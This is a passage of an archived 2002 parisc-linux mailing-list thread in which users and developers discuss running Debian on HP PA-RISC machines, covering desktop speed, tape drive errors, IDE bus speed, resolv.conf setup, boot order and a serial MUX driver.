	by dsl2.external.hp.com (Postfix) with SMTP id C09CE482A
	for <parisc-linux@parisc-linux.org>; Fri,  6 Sep 2002 23:22:37 -0600 (MDT)
Original-Received: from [24.197.204.164] by web12503.mail.yahoo.com via HTTP; Fri, 06 Sep 2002 22:22:36 PDT
In-Reply-To: <3D79817E.201@charter.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16053

whoops...meant to say 1.6GB.....;)

sorry...

--- "B. Douglas Hilton" <bdhilton@charter.net> wrote:
> Derek Engelhaupt wrote:
> > Well, got KDE to work, but it just seems slow even with my 1.6MB of
> RAM
> > and 2GB of swap on my C180.  I guess my questions would be what
> would
> > be an alternative that might run faster and/or be better overall
> than
> > KDE?  Gnome?  I guess I'm looking for what you guys think is the
> best
> > desktop environment to run.  Thanks.
> > 
> > derek
> 
> 
> Hehe... you should try running a 715 or 712! The C-Class machines
> positively
> scream! I agree though, KDE is somewhat sluggish on my C200, but
> really not
> too bad, its usable. I've heard rumors that someday the hppa
> c-library could
> be optimized to run _much_ faster but its still a baby as far as
> linux is
> concerned - I'm just tickled that it even works... I wanted another
> non-x86
> machine (also have a Netwinder), but SGI's are pretty exotic (though
> tempting),
> Alpha's seem super cool but are somewhat expensive and often in bad
> disrepair,
> and Sun machines are either too expensive or too old. The hppa boxes
> provided
> a nice economy and are very much contenders with any of the
> aforementioned
> architectures. In its day a C200 running HP/UX was supposedly able to
> smoke
> a 600MHz Alpha! Obviously there is a lot of optimization still to
> do...
> 
> I started off with a 715/80, got Woody running good on it, played
> with it for
> almost a year, then sold it on Ebay for a small profit (Debian
> sells!) and
> rolled my dough into the C200. I'm rather happy with its performance,
> although it doesn't hold a candle to my super dual pentium-II 450
> monster
> box, still its a cool and useful machine, and very nice for making
> sure
> that your app is portable, compiling your own hppa debs, etc. I don't
> run
> mine 24/7 because it has pretty high power consumption, so the
> Netwinder
> is my little server machine -> http://www.gyrodynamic.net
> 
> Well, I sent you a private email with my suggestions about E, but now
> that
> I think about it, BlackBox isn't too bad with 8bpp color. Assuming
> that
> somebody has fixed "update-menus" really any Debian window manager
> should
> work with KDE, Gnome, and other X apps. The Debian menus should
> provide
> access to all the installed packages which is all you really need.
> 
> BTW, regarding "update-menus" - the last time I tried it on hppa it
> worked
> as root but segfaulted as a normal user.
> 
> 
> 
> - Doug
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do You Yahoo!?
Yahoo! Finance - Get real-time stock quotes
http://finance.yahoo.com


From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel Panic
Date: Sat,  7 Sep 2002 15:46:25 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <200209071546.AA210633180@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621695 13732 80.91.229.3 (22 Nov 2014 02:01:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:35 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 14:50:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F312482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Sep 2002 14:50:30 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16054

Okay, I've upgraded from the .iso image off of debian.org.
Now, I'm getting stranger errors with my tape drive. It looks
like the st is no longer a loadable kernel module? Anyways,
any help is appreciated.


(none):~# lsmod
Module                  Size  Used by    Not tainted
(none):~# insmod st
insmod: st: no module by that name found
(none):~# cat /proc/scsi/scsi
Attached devices: 
Host: scsi0 Channel: 00 Id: 05 Lun: 00
  Vendor: SEAGATE  Model: ST34371W         Rev: HP03
  Type:   Direct-Access                    ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 06 Lun: 00
  Vendor: SEAGATE  Model: ST32171W         Rev: HP03
  Type:   Direct-Access                    ANSI SCSI revision: 02
Host: scsi1 Channel: 00 Id: 01 Lun: 00
  Vendor: SONY     Model: SDT-7000         Rev: 0150
  Type:   Sequential-Access                ANSI SCSI revision: 02
(none):~# ls /dev/st*
/dev/st0   /dev/st0l  /dev/st1	 /dev/st1l  /dev/stderr  /dev/stdout
/dev/st0a  /dev/st0m  /dev/st1a  /dev/st1m  /dev/stdin
(none):~# ls nst*
/dev/nst0   /dev/nst0l	/dev/nst1   /dev/nst1l
/dev/nst0a  /dev/nst0m	/dev/nst1a  /dev/nst1m
(none):~# tar -cvpf /dev/st0 /home
st0: Block limits 1 - 16777215 bytes.
tar: Removing leading `/' from member names
home/
home/lost+found/
home/marc/
home/marc/.bashrc
home/marc/.bash_profile
st0: Error on write filemark.
st0: Error with sense data: Current st09:00: sns = 70  4
ASC=44 ASCQ= 0
Raw sense data:0x70 0x00 0x04 0x00 0x00 0x00 0x00 0x12 0x00 0x00 0x00 0x00 0x44 
0x00 0x00 0x00 0xa3 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
tar: /dev/st0: Warning: Cannot close: Input/output error
(none):/home/marc# tar -xvpf /dev/st0
tar: /dev/st0: Cannot read: Input/output error
tar: At beginning of tape, quitting now
tar: Error is not recoverable: exiting now



From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bus Speed
Date: Sat,  7 Sep 2002 15:49:50 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <200209071549.AA99484160@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621695 13735 80.91.229.3 (22 Nov 2014 02:01:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 14:53:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56054482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Sep 2002 14:53:41 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16055

When Linux starts up I see a message saying:

ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx

I have a C180 and the bus speed at startup says:

Central Bus Speed (in MHz) :        120

so I'm assuming I should add the boot parameter as mentioned above.
Will I see any performance gain?

Thanks,
-Marc


From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] resolv.conf
Date: Sat,  7 Sep 2002 15:55:22 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <200209071555.AA34406894@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621695 13738 80.91.229.3 (22 Nov 2014 02:01:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 14:59:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05FF9482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Sep 2002 14:59:14 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16056

Finally, I have a message at startup that says:

Running 0dns-down to make sure resolv.conf is ok...chmod: getting attributes of 
`/etc/resolv.conf': No such file or directory
done.

do I need to create a resolv.conf file? Sounds easy enough.

-Marc


From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot Order
Date: Sat,  7 Sep 2002 16:00:50 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <200209071600.AA32899526@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621696 13740 80.91.229.3 (22 Nov 2014 02:01:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:36 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 15:04:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 795DD482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Sep 2002 15:04:42 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16057

Oh one last question, how can I change the default boot
from P0 to P1? Everything works fine if I do a SEA then BO P1
at startup, and I want to make this the default.

Thanks for everything,
-Marc


From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Serial MUX support for Nova and K-Class 
 systems.
Date: Sat, 07 Sep 2002 23:36:49 +0200
Organization: private
Lines: 64
Approved: news@gmane.org
Message-ID: <3D7A7171.CEA2FEAE@gmx.at>
References: <1029991787.4813.14.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621696 13744 80.91.229.3 (22 Nov 2014 02:01:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:36 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 15:36:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6F582482A; Sat,  7 Sep 2002 15:36:53 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020907213650.EDTA6474.viefep11-int.chello.at@gmx.at>;
          Sat, 7 Sep 2002 23:36:50 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16058

Hallo Ryan,

after that long time, I did the first experiment with
your new MUX driver ...

... and it fails on my E55.

But NO WONDER ! I already have the problem finding any
devices on the I/O interface card, and I had no time
since weeks now, to do further steps.

In general I have the problem in basic stuff and in
docu, special for the I/O scanning via PDC in more
details. In the normal PDC/IO there is not enough docu
for that. I was informed, that there is one more docu
handling this, bt I forgot the name, something like
"AIO" or so.

How we can go one step forward, as I also want to 
start (in slowly steps) the SCSI driver ... ?

Bye,
Christoph



Ryan Bradetich wrote:
> 
> Hello all,
> 
> I just committed support for the Serial MUX driver as linux-2.4.19-pa5.
> 
> This patch has been tested on my K460 and has been working well.  The
> driver uses the same /dev/ttyB0 device the PDC Software console that
> Christoph Plattner wrote and is available under the Non-standard serial
> ports section.
> 
> Currently the driver only supports the Eole CAP/MUX (A Direct) device
> since that is all I have to test with.  Additional devices can be added
> under this driver as people with systems have a chance to test.
> 
> I tried to document the driver with kerneldoc, but it would be nice if
> someone would check over my comment as I had to google/guess what most
> of the ioctls and tty flags were.
> 
> The committed patch can be found at:
>         ftp://ftp.parisc-linux.org/patches/serial_mux_v0.1.diff
> 
> Feedback greatly appreciated!
> 
> Thanks,
> 
> - Ryan
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bus Speed
Date: 07 Sep 2002 22:39:46 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <1031434786.14390.6.camel@irongate.swansea.linux.org.uk>
References: <200209071549.AA99484160@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621696 13746 80.91.229.3 (22 Nov 2014 02:01:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc@centraltx.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 15:37:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02CB9482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Sep 2002 15:37:48 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g87Ldn30015383;
	Sat, 7 Sep 2002 22:39:49 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g87LdlBl015381;
	Sat, 7 Sep 2002 22:39:47 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <200209071549.AA99484160@mail.centraltx.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16059

On Sat, 2002-09-07 at 21:49, marc wrote:
> When Linux starts up I see a message saying:
> 
> ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
> 
> I have a C180 and the bus speed at startup says:
> 
> Central Bus Speed (in MHz) :        120
> 
> so I'm assuming I should add the boot parameter as mentioned above.
> Will I see any performance gain?

I doubt the 120Mhz clock is run to non PCI IDE devices. The PARISC port
should be setting the IDE base clocking itself.



From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bus Speed
Date: Sat, 07 Sep 2002 15:53:19 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020907215319.8FC46482A@dsl2.external.hp.com>
References: <200209071549.AA99484160@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621697 13750 80.91.229.3 (22 Nov 2014 02:01:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc@centraltx.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 15:53:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8FC46482A; Sat,  7 Sep 2002 15:53:19 -0600 (MDT)
In-Reply-To: Message from "marc " <marc@centraltx.com> 
   of "Sat, 07 Sep 2002 15:49:50 CDT." <200209071549.AA99484160@mail.centraltx.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16060

"marc " wrote:
> ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
> I have a C180 and the bus speed at startup says:
> Central Bus Speed (in MHz) :        120

There is no IDE on C180 unless you've added a PCI card that has it.
Only systems with SuckyIO have built-in IDE where HPUX officially
only supports CD-ROM. Of course, under linux we can do what we want.

"Central Bus" in this case is the "Runway" bus.
Only CPU, Memory Controller and IO Controller (U2) are on Runway bus. 

grant


From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] resolv.conf
Date: Sat, 07 Sep 2002 15:55:09 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20020907215509.1B52A482A@dsl2.external.hp.com>
References: <200209071555.AA34406894@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621697 13752 80.91.229.3 (22 Nov 2014 02:01:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	grundler@dsl2.external.hp.com
To: marc@centraltx.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 15:55:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1B52A482A; Sat,  7 Sep 2002 15:55:09 -0600 (MDT)
In-Reply-To: Message from "marc " <marc@centraltx.com> 
   of "Sat, 07 Sep 2002 15:55:22 CDT." <200209071555.AA34406894@mail.centraltx.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16061

"marc " wrote:
> do I need to create a resolv.conf file? Sounds easy enough.

DHCP will normally do that for you.
If you are manually configuring NICs, then yes.
DHCP sets up my home system like this:

grundler@c3k:~$ cat /etc/resolv.conf
search attbi.com
nameserver 216.148.227.68
nameserver 204.127.202.4


grant


From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot Order
Date: Sat, 07 Sep 2002 15:57:55 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020907215755.7904C482A@dsl2.external.hp.com>
References: <200209071600.AA32899526@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621697 13753 80.91.229.3 (22 Nov 2014 02:01:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc@centraltx.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 15:57:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7904C482A; Sat,  7 Sep 2002 15:57:55 -0600 (MDT)
In-Reply-To: Message from "marc " <marc@centraltx.com> 
   of "Sat, 07 Sep 2002 16:00:50 CDT." <200209071600.AA32899526@mail.centraltx.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
